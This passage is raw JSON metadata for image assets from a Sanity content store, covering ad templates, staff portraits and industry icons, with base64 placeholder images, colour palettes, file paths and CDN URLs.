U/oZkfmS+G3v8HmPytkIdnL5z7MaJiWC1rRPw/8L8/Qrz8bdEZg8xwhWMyCHj0ToT91r4J+sYkRqBaIPAvVP8Uy2MyRbuwJlp5fR1vtbmCMEiFdFdawQDT/BHXuHUX2BxPcfi2jV7KHkqiMo+VvcrrO49RE8VyfM7snqMw2jj8vewG6fI2jGSWkO4I67xg7SO1b6J1bWDxfmEMcczLM5vgVUzxOp+jai8QfYeIqtH2LW6afa/XQ3JW+NfsoGP63dpJ5oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242851","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":8.97,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":8.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8ddec","foreground":"#000","population":8.36,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b81c3","foreground":"#fff","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#687096","foreground":"#fff","population":1.82,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":7.73,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of Copy of Ethical ads template 240x180 (1200 x 630 px).png","path":"images/sczeoy4w/production/15f0456c5c7eca3093c9a9dda674df2e214e81d3-1200x630.png","sha1hash":"15f0456c5c7eca3093c9a9dda674df2e214e81d3","size":287024,"uploadId":"qqRCHc95wVQkVjYO6uJwqMjqRO1wTQ9n","url":"https://cdn.sanity.io/images/sczeoy4w/production/15f0456c5c7eca3093c9a9dda674df2e214e81d3-1200x630.png"} {"_createdAt":"2024-07-19T14:52:13Z","_id":"image-96384372acb6ee940eb9d7a9b55e1c61c4181be5-1200x630-png","_rev":"jEln45CgOQD4spzxfG9xT3","_type":"sanity.imageAsset","_updatedAt":"2024-07-19T14:52:13Z","assetId":"96384372acb6ee940eb9d7a9b55e1c61c4181be5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBA]g^0v,:Ow+WRgOw}i0-t8%2ROJp$g$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADCklEQVQokR2RW0+bBQCGv19gzICWng9fz7SlpV1poWBL6UAmwbUTSsepUGjpgUJLoZaygXbInG4uM1OXcLMYDCREEJ0aE70waky8mBfzxqiJidf+hMfgxXv75HnyCq3KBO3aGyjEGRTiHDLdPO3aNDJdFrlYRGFYQ2laR2WuobY20Dv2sHU/xh06JXjllOz4XT5ZXeD57TH+fRBFkGqSmJ1LdPoKOH0rWFwFjI4iVncZi6uKxlJBJpaRiVXkxjpq65uYuh7hCJ7gj5wy++o9Pspk+KER56/9YYQLO+flHL3hdfoGawTCNfyhOn3RHQLhXcyuGgpjBblhA4Wxjsqyi+h6iL3nCE/oU0aHHnIrWeKwMM1ZOYnQpkxgtKdx+vJ0BVbx9Kzj7d3E17+FN7hNh3cLs/tiNxEdt9DY3sDofoCr7xBv6JhI/3usvFzk9vUFKmMlhFZFAtG2QIdnGcflIq7uNdyBKp3dm3R4a9g8dRy+mzh8u5hcO+gdTRz+9+kdOiI6ckRqcIc7kTh3IjFyfRkEiWoSS+cSbn8Rl79EV08Fb3ATp28Dne3ikDIqSxW15XVU5gaicw//wAHD8XMSk2fsxTY4H/ZzHPGz/9IYQot8ArVpDoM9jcGeweTMY3GVEO0l5GIBqbaIylDCZF3Daq/i9L5F+Ooh8ZlvmV34jsbEO3w88gpPolG2Q7MIL0jiXJKN06acRKKeQqKZQ6pJI9VmkGhyKPRFfO4cycE02atppka3uZ44ZjrzE/P5X7gx+RlzQ/dJDb7NaPhDhBfbYihlMbS6JGpjCqk2xSVFihZlmlbVMmqxwGgwzbvTE5ysXONgpUglf0x27VeWK8+5NvU9gehTfANP8Qx8idAqjWFQx7FZZjDZl1AaLkDztKkXadPkUBuKjPUvcrAU59nOMD82F7m7dUKl8Tvlxp+Mp36m+8rXuMNf4Q59gdAiew2pchy5JolcP0u7NvV/crsug0xfQGVcJezP8yid4I/9IX67t8gHzXMazb+pN/9hKvuM4Mg3eAY+pyt0xn+AU67skmIlowAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c427b","foreground":"#fff","population":1.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":7.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":7.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7aad3","foreground":"#000","population":1.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa9e42","foreground":"#000","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a27a89","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c11","foreground":"#fff","population":1.2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Current 2024.png","path":"images/sczeoy4w/production/96384372acb6ee940eb9d7a9b55e1c61c4181be5-1200x630.png","sha1hash":"96384372acb6ee940eb9d7a9b55e1c61c4181be5","size":240753,"uploadId":"9V6Yx16ypTn7abaEbWgHKAl6s4KlzICv","url":"https://cdn.sanity.io/images/sczeoy4w/production/96384372acb6ee940eb9d7a9b55e1c61c4181be5-1200x630.png"} {"_createdAt":"2024-03-06T22:40:39Z","_id":"image-c7104cb805258fb3331c116c0d8a21b479f9593b-512x512-jpg","_rev":"oDDEDb680V5VDIizriAmzD","_type":"sanity.imageAsset","_updatedAt":"2024-03-06T22:41:53Z","altText":null,"assetId":"c7104cb805258fb3331c116c0d8a21b479f9593b","description":"Clayton Sammuller","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDF={%~q4nWB9FD%j[D%of-;t7D%_3ayD%4n9FD%WB-;_3%gayayay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAUGBwQI/8QAJxAAAQQCAQMCBwAAAAAAAAAAAwECBAUAEQYHElEUIRMiJDFhkcH/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8Arsfi12Xi1Nbhv5bppJPwgo9+mj/OSttE5lSjJYX6ssIom/MQxN/rODiXNI0+iq6yXWyh+jP3kKvsztX+5M87M21gSaqBHlqVzfpdlVWk391XAyaZ1KYSQ5yV42p4xlal8GuwHcMkV3cnjGB7QlcYqSdPpe4rEcWOpHOaml2iZgHRF5T8/MA5ilG0RGtR7t9qJ4xjA0uy16wm2ovv4xjGB//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f3f3f","foreground":"#fff","population":4.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0408","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f3f3f","foreground":"#fff","population":4.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":2.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd9bbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847c84","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf3f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Clayton-Sammuller-portrait","path":"images/sczeoy4w/production/c7104cb805258fb3331c116c0d8a21b479f9593b-512x512.jpg","sha1hash":"c7104cb805258fb3331c116c0d8a21b479f9593b","size":27795,"title":null,"uploadId":"BiY4U1EzzKmslmkY9O8hLxalirbeb7xP","url":"https://cdn.sanity.io/images/sczeoy4w/production/c7104cb805258fb3331c116c0d8a21b479f9593b-512x512.jpg"} {"_createdAt":"2024-03-06T22:45:20Z","_id":"image-57898514bbd14a66fd616d7f7246279c0f4a8161-327x327-jpg","_rev":"oDDEDb680V5VDIizriAv5B","_type":"sanity.imageAsset","_updatedAt":"2024-03-06T22:47:04Z","altText":null,"assetId":"57898514bbd14a66fd616d7f7246279c0f4a8161","description":"Susan Brilling portrait - Google Cloud","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9C$GzxY00WY~C0LWC^*oeIo0zR+-UoJ%09aoe-pR*M|NHaz$*j?Ip","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":327,"width":327},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAcIAQUG/8QAJRAAAQMCBQQDAAAAAAAAAAAAAQACAwQFBgcREhMjMTJRFUFh/8QAFAEBAAAAAAAAAAAAAAAAAAAABP/EABsRAAIDAAMAAAAAAAAAAAAAAAABAgMREyIz/9oADAMBAAIRAxEAPwCvGC7B87ceJ5LIh3cpDxXlfR2+wOq6aV3K1u7vrqtTk6/a94n28D5Q0A+1KON5YrbhqqqJx0RG4RtJ8T9Ic5y5MQ2quLr1lX3DQkHuEWXu3Pc72dUTAR2OWs8hxRaKfd0jPuLfZU+Zw0kLsC1urPFoI/CiIs13QmrzZVQtCIiYEP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#544732","foreground":"#fff","population":0.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4b3510","foreground":"#fff","population":0.41,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a17260","foreground":"#fff","population":2.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceb0a4","foreground":"#000","population":0.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4a892","foreground":"#000","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a17260","foreground":"#fff","population":2.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4645c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Susan Brilling-Google Cloud.jpeg","path":"images/sczeoy4w/production/57898514bbd14a66fd616d7f7246279c0f4a8161-327x327.jpg","sha1hash":"57898514bbd14a66fd616d7f7246279c0f4a8161","size":12794,"title":"Susan Brilling - Google Cloud","uploadId":"SytAgo3Fjh0LI1YaxusXthy0YRwiKCot","url":"https://cdn.sanity.io/images/sczeoy4w/production/57898514bbd14a66fd616d7f7246279c0f4a8161-327x327.jpg"} {"_createdAt":"2024-12-13T11:15:22Z","_id":"image-a8f90b74457b041bdff5d7267c9aea2e50087127-794x1123-png","_rev":"YU4kCQh9dJYVB9mWnvPcmR","_type":"sanity.imageAsset","_updatedAt":"2024-12-13T11:15:22Z","assetId":"a8f90b74457b041bdff5d7267c9aea2e50087127","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dDPj7Bxa?wtQEBVtNIbvxci_RgkqN3e.V=t7?EaeNft6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7070347284060552,"height":1123,"width":794},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAcCAYAAABh2p9gAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFf0lEQVR4nF2S229cVxWHz3/KGwKBIKgCJB6C+laJFoQKFLVF0AYKtAokTRwndnydGc/Fnotn5tzP2bdzmxnPeBw76euH9hk7inj4nXU5e3177bW34/oJrhvhTiOm1k5C3JHPdBLW8XQabnJuiBckuEGKZxUmtXVtzjL8TexMg2RTdDrBO+jhPzrAf/gS/8kR3nYTb7uBt9chHHoIYUhVVkvovFYqDVGq8MIUN0xx6h28GK9zTvDogPBvTwgfbBH8/RnBl1sEX20TPD0mHrgolWOKqlZWzMiKCp2XCJXhxxIvEjh3ZO/cJzgZ4h+f4VvbHGz8Rh+/e44/CQljSZTqWnFtFVGiCBOFH4lajh+l1ApT/CDZ2MjO6DYXpgRvfUEQbXQH8MM7PyWIJc7dz83C9FaCKJEkUpMIXc/JKq47ErXd5PVtXhPGoj6BY52gDt6VRCpDlucobVA6Q0jNcDzlsNnmpNsnEZKyKmtpUxAndjOJE70DiuyMaivQJmc2n1NUFdpk9PpDPvvia379wcd8/uU3+GHCcrVkvlhgsrLuOrbAOJX1Mf5ftqvZrOBiLgj8AZ/+9QHf++Ev+P69+3z1cAtpcpaXa6r5BSorSIQdg8JJUkkYp1iw1FmdtB0KIcjSLmryb/ae/pH33/8l9372Az7/y59xg5Dlas3FagM0eYWwcxYaJxV3QFUDrbXHT2MPef41/Re/4os//YQ//ObHPP3He3i9f7GYZ6wur1gsV1SzBVlR1jO3c3aEVCSpwPMj+qMJo7FLEMYkwSlJ7xOO/3OPT377I/756U8533kPNfiMTE7IiwKTF+hsc3GWI5XGkUqRCkEQRpxPXKauTxSFxF6LpP+A0eHv2X30Ic0n9/H2f07c+QgRNJHSztlgsgJlMixHaY2jlUKKzcykkCi7k5TI1EPFA2TUJR49Jjr5kLhxn6T9AcJ9jpIJWhvyvMDYLpXCWKD9KGlBEgsvipLF4qJ+MsZkKBEj3W3S3sck3d+RdD5CTh6hRYDR9q0WG6j1jcHJjEarDdDCq6ricr1muVzVQJEESP8ANXmImj5Gjb9B+y8xMiTPDFVZUpZl7ecWmGeazCgyrciN7TBjPquYVSVFbjBKkCmfXE3JlUduL8TGmaz/l0VWy3KKPMMpcuvcKlNoJRBpjBAJSqV1fCej7Snk29g2UrxTb8FOVRiqQlOVhjJX+O6U5kmbRqtFu9Oh3+8zGo04PTtjOBwwGPQ56XTqOI5Cyttay5iVGc68snPQVIU9dsr5cMDuy322d3bZ3dun0WzSbnc4ODzi8OiY5zu7/PfbLV7uH+BOx2RGUBaKWalZzGqgvZQYzx1zdtbj6PiYvf0DGq0mnW6b1kmL40ajBjdbTZ7v7LC1/Zzdl3s0mg16vS7j8QApQhZzg3Mx06SxT/ukxbPnL3j8ZIsnz55x3Dii0zlhb3+f7Rc7HB0d0Wo22Nvf4+DwoAZ/+3SLp1vb7B/s43vnXFjg5cJQmJjxqE+73aTVst0c0+2e0D/r0um0aNq406LXa9exXWdzjcZRvb4/6KJlwOVFhrO+MFzMJCr1Cf1zPHfIcNDjtNfm9LRNr3dSQ7qdJt1ui07Hwo5q6Pj8DN8bIYXHcia5WmY4r1aG9dKwmksuZoIqj5GJS+CN8N0B3nTAdHKGOznDm/Txpv06Dv0RuQ5YVGlde7XUXF9mONeXhjvd3Nr1QrLKIpapyzyZUiRjymhIHg0x6ZjS+KxmKa9WFrKpsY3drDOc1+sNyNrat1ppbrKI62jCKhozi0csgjMq/xQVDSiNy6ul5GatubnUb+teX2U4370yvLkyWFv7VmvNm6XkzSLlZp5yvUi4nkW8qiIuZzHri5TXa1XXvbnSb+u+u874H4SvrwiS4l0JAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b424c","foreground":"#fff","population":4.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#661e35","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3b424c","foreground":"#fff","population":4.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8d0b7","foreground":"#000","population":0.52,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6c081","foreground":"#000","population":1.8,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d8f93","foreground":"#fff","population":2.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c8456f","foreground":"#fff","population":0.81,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Data_v3-1.png","path":"images/sczeoy4w/production/a8f90b74457b041bdff5d7267c9aea2e50087127-794x1123.png","sha1hash":"a8f90b74457b041bdff5d7267c9aea2e50087127","size":232805,"uploadId":"QoPIXabs1Cf2PEKQwChurpaNk66IbBcq","url":"https://cdn.sanity.io/images/sczeoy4w/production/a8f90b74457b041bdff5d7267c9aea2e50087127-794x1123.png"} {"_createdAt":"2024-07-16T13:22:12Z","_id":"image-4d116742909dccd62a121732bd8c78dff8f57a7e-908x908-png","_rev":"3OXQTD9fYGqbgLPUQFnoEw","_type":"sanity.imageAsset","_updatedAt":"2024-07-16T13:25:00Z","altText":null,"assetId":"4d116742909dccd62a121732bd8c78dff8f57a7e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9Rt{6$%00wc1K%2bHaKf6ae00ay49S23VvMf6TJfkXS0zae3pX9vM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":908,"width":908},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAG66AABuugHW3rEXAAADmklEQVQ4jW2VW4jVZRTF93iZUQppYCKttCxIn8KnIsKCaqAoL//t3CzUGh1nbAwsw0tpo4xmeZuYdEyL0WZC0wojo4jIgl7ElwyhQISMXvXBmlKyWb/Y3/c/MxI9bM453/9866y9117rGG5GUZZbldwm4XY/bmtwO4HbBbn9hdsV3H7D7SvcNuI2G7fauFPeTZXf5INxuE2X2xLcBnE7K7eLJdCw3IZxuyq3S7j9hNsxubXjdo/cxldArwebidt6Cjslt8u4CTcoDOaXFe/jzE1yG8LtB9y6cZuFW7WKDFgVzBKY21nc/i6BpMJEy0Rp2W1S2+1i4Q2K81QZ+Bpu53DbUhIaE4CTKFKbpxJYsIgLTTWifZrYXC/6lol9y0X3E9KKu6TmCQFYAf4Htx/l1olbnZUCxMyiTWgYK569WbzyIBx8SXzZJ45ugv0roH+V6GsTGx6GpVNE47gK0z9xO45bvZVqnk2/tqBKdEwXe1rh463ik21wogcOvwo7m2DbvAz8UbfS68oZUhAoDLmdl9sOK1fjYmq1qUbqflx8NyBOHoJ9y+FNh71Lgy0c6IT3XoCv34Xvj4gdDZW5BsvfcTsdgBfSaoSK8XD7AvH5W7nN/lWw5znY2QgDa+HkQfhsN+lZfKd3sVh0k9LdLNDlAIylHU6HT98ots1TYrHhIeh6FA48D0c3w6fb4chrue2Y7/4O2N0iFtVWAJNIAXglLe18QwlwbgweOu6EpmpYPQs+WA8fdsGa+2IsIQj0LoFdzSOAynsrU7bT1ZGWM0OxcgbMNVhUCz3P5Dm2ToE5Bu13wDvtiaFGW471GbLSm5fSYJtrpK5HxOC6GDi0Tc1sdjVD72JYPi1/fn0ODK4VW5/MJDLDP3A7E4AbFd4s10ZtUzPYodVKrN6YnxUeXJsVj1bj2e6FsOJupb3NKv+CW2+0PFtux4Lu6GLXiXUPxGVxeKP4ph++Hcjq7l2qJFjrLVLDyGJHgHyB21PBsJbC2imS0a+NeLVxvFh2q9j0mOh/Ubz/crJeajtsOerpYdx+xm01bpNTBqYIKqybws4pDzf7OSp82zpZYTW1TPxvOAzL7VfcenC7F7exlWAcX0bQFopk9PBmjqr/j6/cZpGY9SjnwYTr8zCqmsJmqrBOCjtOYedLO4UDcrpk9qFmCBAzizaDWQIbSewIxvJvYAyF1VFYPYXtkNvpMoUqgENyO4Pb2yFAzCzaVGCU9S9435LIEnw9owAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#65443c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c22004","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":49.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4b2","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fab06f","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af8d6a","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":49.6,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"icon-software.png","path":"images/sczeoy4w/production/4d116742909dccd62a121732bd8c78dff8f57a7e-908x908.png","sha1hash":"4d116742909dccd62a121732bd8c78dff8f57a7e","size":23220,"title":null,"uploadId":"OqFqAjT3eRTladZ02bL4dNpe9OAV2WSm","url":"https://cdn.sanity.io/images/sczeoy4w/production/4d116742909dccd62a121732bd8c78dff8f57a7e-908x908.png"} {"_createdAt":"2024-07-16T13:22:14Z","_id":"image-52a3deab1eb2468fc0638e0598faf7118c014663-908x908-png","_rev":"3OXQTD9fYGqbgLPUQFnj0u","_type":"sanity.imageAsset","_updatedAt":"2024-07-16T13:22:46Z","altText":null,"assetId":"52a3deab1eb2468fc0638e0598faf7118c014663","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e8Rtyc$%00w^0L%1bGZ$f6cE00ay2]S23=vff6TyflQ-00ay4SS#zV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":908,"width":908},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAG66AABuugHW3rEXAAADeElEQVQ4jW1VbWjVVRx+7tXNaRoVIr2AUfQiy6LIEJIFEopUjJ3ftc1pJb5t5XQz1pZrzrAtcghZmS+kkrnSkKgPQdHHUET8oiIUhJDRV/1gzRfa9jzyO+fc7gX98IOz3/7nOc/ze3kuZIBCDkOBhjtlmC9Drww/ynCRhmsyXJfhbxl+kWFAhgYZ7vY7+W6MdEiJyTI8RMNKBYzIcJ6GSxEoYIIBEzLcoOGyDL/JcIyGdhkeo6GmDFoNNkeGPgWcouGKDFSAYpSKKSz/bSANowo4I8OgDE/LUMuQAAvOLIOdl+G/eNEvvVpDrX2A7JlH9j5Htc2mmmsZH0vfjCngDxmGMqGiA3rNXOap/8ECqFKRWv8I9enr1OFe6vC71Oerya56culkZ18GHlfAORo6ZJjpcufnml1JcgpU6x1U1xPS/g7q593UkS3S132K50PdVPcz0ooZVKmQymK4KsMPMixC7qZLTa8un069t0CR1YlvpeNHFQFHNku/jkgnv5OO9FNbF0qv3UUmpqLhAg07kEfjUlkq33qY2ttGHR2Qvt8uHepWvLzlBelgV8p90y/t30B11ifZieU/Mpx2wIt5NJLcd56lDnZRHzVKfc9Lm56Ulk2VWqZInfUpN7hE+vJtV0ItnVQGHPOyOaAP7URM+j/9I2fSMy8BNU+pjIufW+rSIwc6pfdfpJprqKY0Fa7QAa8zA8Yx2bowAW6am0DS65Xwyx2PSl+sl4ZeopZNjYBMHSeY1ulG/LCljhpcwtjdDY9nsEIFrFRIufYHpb3rpOFAercTw3EZRpF383JMLp9Obm9KTWmbLTVmRtXhuVWzpF0rqY9bpTfuKTP8V4azDjhA380m0GeLw0Yd2OiSfR79kaqYIbVOc8nUvjelT1awDCjDnzJ85pIbaDimgNFY9P4G6qseZyk5+HDwUFVQu9fEOeW2xYwPNEUn+kmGV5AtqD0v+phWzaI+WEztWUvta79dSHvWUR++HPdcpYI39HcZumW4N3pgtqBBX3SWCuNR3ur7khlUBcvnNfd7edyBJhjwlww7ZXhKhkllY3Q/cwsaiosecPWWZtwavgzObCdDNOS6ih82RtBaBczJruGLfiGvk29AxVlSN70BXjOX6czqVCpWHNuNMf8MFBUwUwGLZNhBw+noQhXAURrOyrDLG+A1c5l0jBw3Af3HhVemY6CzAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#65443c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c22004","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":53.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4b18c","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b06e","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b0886a","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":53.2,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"icon-retail.png","path":"images/sczeoy4w/production/52a3deab1eb2468fc0638e0598faf7118c014663-908x908.png","sha1hash":"52a3deab1eb2468fc0638e0598faf7118c014663","size":24722,"title":null,"uploadId":"EjtpKcVbVRck82DJmCunhaDAvbO2Fo5R","url":"https://cdn.sanity.io/images/sczeoy4w/production/52a3deab1eb2468fc0638e0598faf7118c014663-908x908.png"} {"_createdAt":"2024-07-16T13:22:14Z","_id":"image-86e12999ba6da5b3c8917f9c77132e62aea9246f-908x908-png","_rev":"7TSbNTeKBQNzcdaFtHvy1c","_type":"sanity.imageAsset","_updatedAt":"2024-07-16T13:22:38Z","altText":null,"assetId":"86e12999ba6da5b3c8917f9c77132e62aea9246f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e8Rt[{%g00vM0y$*b^aKe9bv00aK3?S#3CxueTS#ghR50za03CTd#S","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":908,"width":908},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAG66AABuugHW3rEXAAADo0lEQVQ4jVWU32tXdRjH319nVqwfikLLKw0yCZKgixLTi8B+aWufZ3NtujV1mLMt05SaaxJrU8G5rWZpm/mjJkHeSAZR/4F4ozEwECGjW72wNEW35xXPOec758UDn3M45/V5P7/ewqQ8SiKp5KbHML2I6WNMP2O64qb/MN3C9Dem3zDtxrQc0xxMJVKZoeLwkgI2E9NCN7WQNEbSuCddJekWSZOeNInptpuukXQR0yk3bca0yE0PlKEBKsMWk7SLpLNupevUVTh1M8midgaYIBVhcjfdwHQeUy+m5zHN8pQDS6EM0y5M4zRW3qHjGeha5t69wule4d651L1tgVP/oJPkAcwuMN3FdAlTXybINCOAUbNI8yx1FXfY9hyMtjtjnc7x7c6JHc7JTufgeqdtQShzvwd1TBOYfndTO6Z5KhowRo2u0/Aw9L6ew4ZbYLDRGWxwvm6F7z+BzqVRBi+nPaU06Sam05hWqujmODVy1j7i7Kt2vv0A9qxyBhqgvw72VsOxbdC9Auoq4G3l0DSlFjdddlO/itG4So0IoO+tdkbfd3pWwr5q6HsT+t6AsU4YWgtbn4UtT8GGJ5z6WdPr+Q+mcwG8ks1YASSAR9o9Aw025goDfHo/nBmAox+SZfBFk9OxyLNpSFMNuh7AGNrJKWCkPNoOn78G+2tz2J5V8GMPfLcT9qzOlZ7cFWensdKzf0NpkgfwlhdALwOPdBQ/roMD9Tn0+EfQ8yqsrYS2hfDNZhhocJpnZ8DofkDlKVun2/dSfssZaXM+XZ43oWsZfPYK2SVdL5N91zIXht+Ny9yb55QVTpB0Q8VuXsternvUfX+tc2ybs/MF2FgFrfNzcIxNqG6eA+1PkzXuy+aAlxX+i+lCAHe76WI2Ni1z3b/a4JwZhJEtntWwfw0c2w6/HoIfumHgHTi0yfnpQKh2WueXFf6JaVhuWu6mUyGXptnRjJjDGB04vMk5/F50HU7syLsb70a2wNGt7lGe9fNiHsOJfsG0WoUFbSbpPHUVd2l63NlYld98XzxZPkcZ8m+iIWtmhgv9gWkHpqrcHFJmQb0kXfIaTWQpxDaUI8pRI/ea+95FgyY96S+ShjAtIamibIzhZ2FB4Rqx6DexUm5ZWcS5HFPPkWYoG/L